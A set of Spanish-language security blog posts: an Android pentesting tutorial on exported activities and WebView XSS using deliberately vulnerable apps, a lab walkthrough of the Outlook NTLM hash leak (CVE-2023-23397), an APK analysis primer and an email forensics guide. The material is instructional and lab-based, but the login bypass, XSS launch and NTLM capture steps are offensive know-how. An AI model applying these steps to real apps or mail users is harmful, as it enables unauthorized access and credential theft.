Introducción al pentesting de aplicaciones móviles sin morir en el intento. Parte II

Hace algunos artículos os hicimos una primera introducción al pentesting de aplicaciones móviles en donde asentábamos las primeras bases entre lo que es un análisis estático de la aplicación y un análisis dinámico. Hoy os hablaremos sobre las actividades exportables: 

La clase Activity es fundamental para una App de Android, como los paradigmas de programación en los que los programas se ejecutan con el método main(), el sistema Android se inicia en una instancia de Activity. 

Una actividad básicamente proporciona la ventana en la que las Apps dibujan su IU, la existencia de las actividades nos permite realizar varias acciones dentro de la misma ventana, ya que una actividad puede invocar otras para mostrarnos diferentes pantallas. Es el punto de entrada de una aplicación, son las pantallas visibles con las que interactúa el usuario.

Una actividad exportable en aplicaciones de Android es aquella que puede ser accedida por otras aplicaciones, similar a una clase pública en Java. Para identificar si una actividad es exportable, se pueden considerar los siguientes casos:

• Una actividad exportable tiene asignado el atributo Android:exported= “true” en el fichero AndroidManifest.xml

• Cuando este atributo no está definido, pero tiene existe <intent-filter>, el valor de Android:exported es true por defecto.

Una configuración deficiente de estas actividades, sin protección adecuada, podría ser una entrada muy favorable para los atacantes. Esto les permitiría obtener información sensible o incluso ejecutar ataques como XSS.

Usaremos la aplicación InsecureBankv2 como ejemplo. Si entramos a la aplicación, nos encontraremos con la ventana principal de la aplicación, una ventana de login donde nos pide un usuario y una contraseña para autenticarnos. Ahora bien, como atacantes, queremos evadir esta actividad de login, de la cual no conocemos las credenciales. 

Podemos usar Drozer para sacar vulnerabilidades o configuraciones inadecuadas de la aplicación:

Una vista previa de la superficie de ataque usando Drozer:

Run app.package.attacksurface com.android.insecurebankv2

Podemos observar que hay una actividad muy interesante PostLogin, además no se necesita ningún permiso para invocar esta actividad.

Por otra parte, aunque es más tedioso, también podemos hacer la búsqueda de forma manual, revisar en AndroidManifest.xml para encontrar actividades exportables. 

Con jadx se puede abrir la APK y en AndoridManifest.xml podemos encontrar la actividad exportable PostLogin:

Una vez que tengamos identificado la actividad que nos interesa, usaremos adb para exportar la dicha actividad:

‘abd -s 172.16.20.175 shell’

Efectivamente, hemos conseguido hacer el bypass del Login. Ya estamos dentro de la aplicación bancaria, desde la cual podríamos hacer transferencias, cambiar la contraseña, ver estado de cuenta, etc. 

Por otro lado, podemos observar que la aplicación tiene antiroot configurado. Este mecanismo de seguridad implementado por el desarrollador es una buena práctica para complicar los ataques de reversing, en próximos capítulos hablaremos más acerca de ello y como evadir este tipo de mecanismos de seguridad.

Lo que debería realizar un desarrollador para corregir esta vulnerabilidad seria cambiar el valor de este atributo para de esta forma deshabilitar el permiso. En este caso vamos a hacerlo nosotros para comprobar si realmente corrige el acceso a esta última actividad (PostLogin) como debería.

A continuación, procedemos a decompilar la aplicación con apktool, y modificar el atributo exported.

Descompilamos el APK:

Apktool d app.release.apk -o insecureBank-apktool

Una vez que tengamos la APK decompilada, procedemos a modificar el AndroidManifest.xml (exported=”false”):

Después de modificar la aplicación, tenemos que compilarla:

Apktool b insecureBank-apktool –o insecureBank.apk

Para poder instalar la aplicación es necesario firmar la aplicación, en este caso lo haremos mediante un certificado auto firmado (este certificado no está aceptado en los market de aplicaciones), pero para este ejemplo nos vale.

Generamos certificado:

keytool -genkey -v -keystore my-release-key.keystore -alias insecureBank-no-gpu -keyalg RSA -keysize 2048 -validity 10000

Firmamos la apk con el certificado anterior:

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore insecureBank.apk insecureBank-no-gpu

Instalamos la nueva aplicación en el dispositivo (desinstalando previamente la versión anterior).

De nuevo usaremos Drozer para detectar actividades vulnerables, se puede observar que ya no está exportada la actividad PostLogin.

Sudo docker run –net host –it withsecurelabs/drozer console connect –server 172.16.20.75

Para comprobar si realmente hemos mitigado esta vulnerabilidad vamos a probar invocar la actividad con adb.

Se puede observar que con el atributo exported= “false” ya no podemos acceder a la actividad PostLogin.

Adb –s 172.16.20.75:43139 shell

Sin embargo, en el resultado mostrado por Drozer se puede ver más actividades vulnerables, por ejemplo, la actividad DoTransfer. 

Procedemos a lanzar la dicha actividad, y vemos que, aunque ya no tengamos acceso a la actividad PostLogin, seguimos teniendo acceso a la actividad DoTransfer, ya que cada actividad en Android se gestiona de forma independiente, por lo tanto, a la hora de mitigar esta vulnerabilidad hay que tenerla en cuenta en todas las actividades.

Esta última actividad nos lleva al panel de transferencias desde la cual podremos emitir una transferencia en nombre de otro usuario (si lo hubiera). 

Por otra parte, vamos a provechar las actividades exportables para atacar el componente WebView.

WebView es un componente de Android que permite a los desarrolladore presente contenidos de web dentro de la aplicación, algo así como un navegador web embebido dentro de la app.

Si la actividad cuenta con Webview y JavaScript habilitado, podríamos aprovechar esto para ejecutar un XSS sobre esa misma actividad:

Teniendo en cuenta esto, podemos invocar esta actividad pasándole una url vulnerable a ataques XSS.

Am start –n com.tmh.vulnwebview/.SupportWebView --es support_url http://172.16.20.110:8080

Se puede observar en la siguiente imagen el resultado de la ejecución del XSS sobre la app:

Con esto comprobamos de que se puede replicar los mismos ataques de una página web en una aplicación con WebView. 

Os recomendamos las siguientes aplicaciones vulnerables con las que podrás practicar los que acabáis de aprender:

• InsecureBankv2

• DivaAPK

• InjuredAndroid

Esperamos que os haya gustado esta segunda parte introductoria sobre pentesting de aplicaciones móviles sin morir en el intento. Si tenéis alguna duda, siempre podéis volver a repasar la primera parte.

Xuquiang Liu Xu, Pentester Jr. at Zerolynx y Alejandro Auñón, Offensive Security Analyst at Zerolynx.

Analizando a fondo la vulnerabilidad Outlook NTLM leak (CVE-2023-23397)

El pasado 14 de marzo de 2023, Microsoft publicó un parche de seguridad que corregía la vulnerabilidad CVE-2023-23397. Esta vulnerabilidad crítica (CVSS de 9.8) permitía al atacante elevar privilegios en los sistemas Windows mediante un exploit “zero click”, es decir, sin que el usuario tuviera que interactuar para activarlo.

El CVE-2023-23397 permitía al atacante enviar un correo electrónico con contenido malicioso a través de Outlook a una víctima, haciendo que esta se conectase automáticamente a una ruta UNC bajo el control del atacante y recibir el hash NTLM de la contraseña de la víctima, el cual permitiría poder autenticarse en un sistema y elevar privilegios.

Antes de continuar con la vulnerabilidad, vamos a explicar rápidamente que es un hash NTLM y por qué es tan importante. 

NTLM (NT LAN Manager) consiste en un conjunto de protocolos de autenticación que permite a los ordenadores y servidores verificarse entre sí. Básicamente, un hash NTLM es el formato criptográfico en el que se almacenan las contraseñas de usuario en sistemas Windows.

Este protocolo se realiza mediante un procedimiento de desafío/respuesta para llevar a cabo la autenticación del cliente y el servidor. Los pasos que se realizan son:

1. El cliente realiza una solicitud de autenticación a un servidor para un recurso al que desea acceder.

2. El servidor envía un desafío al cliente, por lo que este deberá cifrar el desafío utilizando el hash de su contraseña.

3. El cliente envía la respuesta encriptada al servidor, el cual contactará con el controlador de dominio para verificar si el encriptado es el correcto.

4. Si la respuesta es válida, el servidor autentica al usuario y le permite el acceso. Si la respuesta falla, el servidor rechazará la autenticación y le solicitará nuevas credenciales.

Demostración

A continuación, vamos a demostrar cómo se explotaba esta vulnerabilidad y, para ello, usaremos la máquina “Outlook NTLM Leak” de TryHackMe.

En primer lugar, crearemos un “responder” en nuestra máquina local, el cual nos permitirá escuchar los intentos de autenticación.

Una vez el responder está activado, deberemos crear una cita en el calendario de Outlook, la cual llevará la carga maliciosa con la que obtendremos el hash NTLM.

Para que esta cita sea útil, tendremos que establecer un recordatorio en 0 minutos, para que la cita le salte automáticamente a la víctima en el momento en que se envíe. 

Con el recordatorio establecido a los 0 minutos, utilizaremos la extensión “OutlookSpy”, la cual nos permite poder editar los parámetros internos de Outlook. Una vez abierta, configuraremos el parámetro “ReminderSoundFile” y para ello nos iremos al apartado “script”.

Cuando estemos dentro de este apartado, cambiaremos los parámetros que vemos a continuación. Estos parámetros son: 

- ReminderOverrideDefault: valor que indica que el sonido que se reproducirá será el que se indique en ReminderSoundFile.

- ReminderPlaySound: indica si se reproduce un sonido al ejecutarse el recordatorio.

- ReminderSoundFile: cadena donde introduciremos el exploit que apunta al responder que tenemos activado en nuestra máquina atacante.

Una vez lo tengamos, comprobamos que se han guardado correctamente los cambios.

Y guardamos el archivo.

En el momento que le damos a guardar, nos saltará instantáneamente el recordatorio como establecimos anteriormente.

Y en el momento que nos salta este recordatorio, vemos que nuestro responder ha pillado el NTLM de la víctima.

Hasta aquí hemos llegado con el análisis. Esperamos que os haya gustado y os vemos en la próxima entrega de FluProject.

Sergio García, Cybersecurity Management Student en Zerolynx.

Introducción al pentesting de aplicaciones móviles sin morir en el intento

Antes de comenzar a hablar de pentesting móvil debemos sentar las bases y diferenciar entre lo que es un análisis estático de la aplicación y un análisis dinámico. Pero no sin antes hablar de la estructura de un APK.

El proceso de desensamblar un APK se denomina descompresión y es por medio de este proceso a través del cual logramos acceder a las entrañas del nuestro binario:

Para ello, bastaría con:

unzip APP.apk -d output-unzip

apktool d APP.apk -o output-apktool

A la hora de decompilar el código fuente, tenemos dos formas, por un lado podemos generar el .smali que es el bytecode “legible” para humanos (apktool), o generar el .java interpretrado, no es el código fuente original, pero nos ayuda a entender la lógica de la aplicación de forma más sencilla (jadx).

Una vez tenemos el código fuente con nosotros pasaremos a hablar de los dos tipos de análisis que son necesarios tener en cuenta a la hora de realizar un pentesting de móvil. 

Análisis estático vs Dinámico

En análisis estático se analiza la aplicación a nivel de código y sin la interacción con la aplicación, y el análisis dinámico se revisa en tiempo de ejecución, interactuando con las funcionalidades.

Análisis estático

Con la herramienta Jadx trataremos de buscar información sensible:

• Palabras claves o patrones vulnerables de código. 

• Credenciales / api keys. 

• Urls / endpoints.

• Identificación de funciones importantes: autenticación, cambios de estado, PII.

• Identificación de función de debug. Presencia de comentarios en el código.

• Identificación de funciones peligrosas: uso de almacenamiento externo, ejecución de código. Sanitización.

• Secretos hardcodeados.

Automático

Todo el análisis anterior se puede automatizar con la siguiente herramienta (MobSF):

A la hora de hablar de pentesting móvil existen una serie de componente interesantes (identificados por Mobsf en la imagen anterior), que os recomendamos que dediques tiempo a entender (actividades, proveedores, receptores y servicios exportables). En el próximo artículo os hablaremos sobre las actividades exportables.

Xuquiang Liu Xu, Pentester Jr. at Zerolynx y Alejandro Auñón, Offensive Security Analyst at Zerolynx.

Cazadores de Evidencia: Navegando por el Análisis Forense de Correos Electrónicos

En la realización de los análisis, ya bien sean del ámbito forense, de inteligencia, financiero u otros, destaca la búsqueda de la verdad. La verdad como objetivo y utilizando como medio la razón, así como Descartes describió en su día en el Discurso del método para dirigir bien la razón y buscar la verdad en las ciencias. Los analistas pretendemos averiguar lo sucedido y dar respuesta a las inquietudes del cliente, sin dejar de lado que, en ocasiones, la verdad es lo más complejo de atestiguar.

El análisis forense de correos electrónicos surge casi en su totalidad tras un suceso o incidente que requiere ser investigado. Estos análisis se comprenden en ocasiones de dos partes, la tecnológica (el proceso de envío y recepción) y la de información (contenida en el correo y/o adjunta en él).

Las consideraciones principales para realizar el análisis tecnológico de los correos fraudulentos, aunque no siempre tendrán cabida en todos los análisis, pero que es necesario contemplar inicialmente, son:

• Identificar unívocamente los servicios de correo involucrados tanto en origen como en destino. Se debe identificar la tecnología de correo de las dos partes, bien podrían ser correos en la nube (SaaS) o servidores de correo on premise.

• Garantizar que los correos no han sido manipulados, obteniendo las muestras de correo a analizar con una cuenta administrativa directamente del servidor, no de los clientes de correo de los usuarios afectados.

• Analizar las cabeceras técnicas en los emails recibidos para identificar los servidores origen del envío.

• Analizar los elementos de seguridad del correo como:

• Alineación SPF: La alineación SPF puede considerarse inalterada cuando el dominio de “MAIL-FROM” o “Return-Path“ y de “From” son iguales. La diferencia entre estos podría sugerir que el correo electrónico es falso.

• Autenticación SPF: Si la autenticación SPF es “false”, significa que la dirección IP del remitente no está autorizada para enviar correo electrónico en nombre de un remitente. Es decir, que no está autorizada a enviar correos electrónicos en nombre del dominio legítimo.

• Alineación DKIM: Para confirmar la alineación de DKIM en un correo, el campo  “DKIM-Signature” debe incluir la firma del dominio de la cabecera “From” en su etiqueta “; d=domain.com”.

• Autenticación DKIM: Si el campo Firma DKIM no está verificado, puede suponer que el correo electrónico ha sido modificado o alterado.

En cuanto a la parte del análisis sobre la información del correo electrónico, es necesario atender de manera objetiva a lo redactado en él, así como a aquello incluido en los archivos adjuntos si lo hubiera. En esta parte, hay que tener en cuenta varias premisas:

• Redacción, estilo literario y ortografía: cada vez más compleja la distinción de mensajes reales o lícitos de aquellos generados por un atacante utilizando Inteligencia Artificial.

• Formato de la firma: análisis visual de la firma en busca de posibles falsificaciones o en todo caso, si existe la posibilidad de ser una copia de una firma auténtica, identificando espacios bajo la firma que no debieran de existir.

• Datos relevantes: establecer que información en el correo es de dominio público o privado. Posibles esferas de conocimiento de dicha información.

• Mención a personas: valorar si se tratan de personas reales o ficticias, en el caso de atacantes, es más probable lo primero, pero es importante no realizar el descarte antes del análisis.

• Correos electrónicos filtrados o expuestos: identificar si la cuenta que recibe el correo electrónico esta presente en filtraciones de datos o es posible encontrarla en fuentes abiertas. En el caso de filtraciones de contraseñas, valorar la posibilidad de un compromiso en la cuenta.

• Modus operandi: establecer una hipótesis con los fundamentos más objetivos y certeros disponibles que indique como se pudo realizar el ataque.

• Objetivo: analizar el posible objetivo del atacante, así como el beneficio que obtendría, en casos complejos puede ser de ayuda.

• Ficheros adjuntos: extracción de los metadatos de los ficheros y análisis tanto de estos como de la información del documento en sí (firma, número de cuenta bancaria, etc.).

Como aspecto clave en el análisis forense cabe destacar la extracción del elemento y la cadena de custodia de éste como elemento. Si bien es importante en el ámbito forense, toma especial relevancia en el caso del correo, pues se ha de realizar un análisis del mismo en todos los puntos por donde han pasado.

En el análisis forense, por tanto, es siempre recomendable acudir a los mejores expertos, aquellos que realicen una buena identificación de las evidencias y sean capaces de relatar los hechos comprobados sin caer en suposiciones o falsas creencias. Además, de que siempre y cuando el informe vaya a ser presentado a juicio, se realice una correcta custodia de los dispositivos y/o ficheros, contando también con los peritos que realizaron el informe para su correcta defensa en sede judicial.

Sergio Gutierrez, Technical Lead en Zerolynx y Noelia B. Analista de Ciberinteligencia en Zerolynx.